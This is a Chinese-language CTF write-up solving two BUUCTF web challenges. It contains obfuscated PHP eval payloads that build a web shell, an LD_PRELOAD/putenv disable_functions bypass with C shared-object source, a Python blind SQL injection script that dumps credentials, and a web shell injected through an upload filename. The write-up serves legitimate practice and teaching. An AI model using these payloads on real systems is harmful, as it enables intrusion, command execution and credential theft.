8-12刷題

2020-08-12 23:54:22

[極客大挑戰 2019]RCE ME

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

開啓得到原始碼,過濾了數位和字母,用取反或者互斥或來繞過

取反:?code=(~%8F%97%8F%96%91%99%90)();//phpinfo();
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9E%CC%8C%97%96%DD%A2%D6%D6
);//前一段是assert後一段是(eval($_POST["ta3shi"])),最後分號不要忘記
互斥或:?code=${%A5%BD%BF%AE^%fa%fa%fa%fa}{_}(${%A5%BD%BF%AE^%fa%fa%fa%fa}{__});&_=assert&__=eval($_POST[ta3shi])
//$_GET[_]($_GET[__])

構造以上payload的就可以用蟻劍連了

連上之後在根目錄發現有個空的flag和一個readflag檔案,而PHPinfo裡禁用了命令執行的函數,所以所以蟻劍 上連線的shell基本 沒有功能,這個時候我們 就要用LD_PRELOAD & putenv()來繞過disable_functions

具體內容可以參考這篇文章深入淺出LD_PRELOAD & putenv()

網上指令碼

一個鏈接

將下載的bypass_disablefunc_x64.so和bypass_disablefunc.php上傳到/tmp目錄下,然後payload:

 

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/tmp/bypass_disablefunc_x64.so

寫個指令碼

仿照文章寫c檔案

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("/readflag > /tmp/flag.txt");
}

或者是

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("ls / > /tmp/sky");
}
int geteuid()
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

然後編譯成.so檔案

gcc -shared -fPIC test.c -o exp.so

上傳到/tmp目錄,然後用蟻劍的指令碼執行工具,執行

putenv("LD_PRELOAD=/tmp/exp.so");
mail('','','','');

就可以在/tmp目錄讀取flag了

[CISCN2019 總決賽 Day2 Web1]Easyweb

robots.txt泄露原始碼*.php.bak試出來是image.php.bak

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

過濾處會把\0,%00,'轉爲空格,那麼我們 id=\\0就會將id後面的引號跳脫後面就可以用整形注入

下面 下麪payload

import time as t
url='http://8a43e8d6-0fcd-4ab1-9269-1cec950c17eb.node3.buuoj.cn/image.php?id=\\\\0&path=or%20id='
result = ''

for x in range(1, 500):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        #payload='if(ascii(substr((select group_concat(column_name) from information.schema.columns where table_name=0x7573657273),%d,1))>%d,1,0)--+'%(x,mid)
        payload='if(ascii(substr((select group_concat(username,password) from (users)),%d,1))>%d,1,0)--+'%(x,mid)
        t.sleep(0.5)
        print(url+payload)
        response = requests.get(url+payload)
        if 'WFZ' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

得到admin-9e8171be8517f8aa3285

登錄上去

上傳檔案,測試了幾次發現會把檔名上傳到日誌檔案裡並且是php檔案,那麼檔名改一下就可以了不過php被過濾了用<?=就可以了

filename="<?= @eval($_POST[1]);?>"

<>裡的內容不可見所以檢視原始碼的時候看不見直接蟻劍連就可以了

flag在根目錄